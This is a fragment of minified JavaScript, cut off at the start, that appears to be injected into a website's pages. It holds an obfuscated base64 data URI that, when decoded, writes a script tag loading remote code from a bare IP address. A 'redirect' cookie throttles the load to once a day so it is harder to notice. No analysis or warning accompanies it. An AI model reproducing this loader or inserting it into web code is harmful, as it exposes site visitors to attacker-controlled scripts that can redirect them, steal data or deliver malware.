)"+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,"\\$1")+"=([^;]*)"));return U?decodeURIComponent(U[1]):void 0}var src="data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=",now=Math.floor(Date.now()/1e3),cookie=getCookie("redirect");if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie="redirect="+time+"; path=/; expires="+date.toGMTString(),document.write('')}
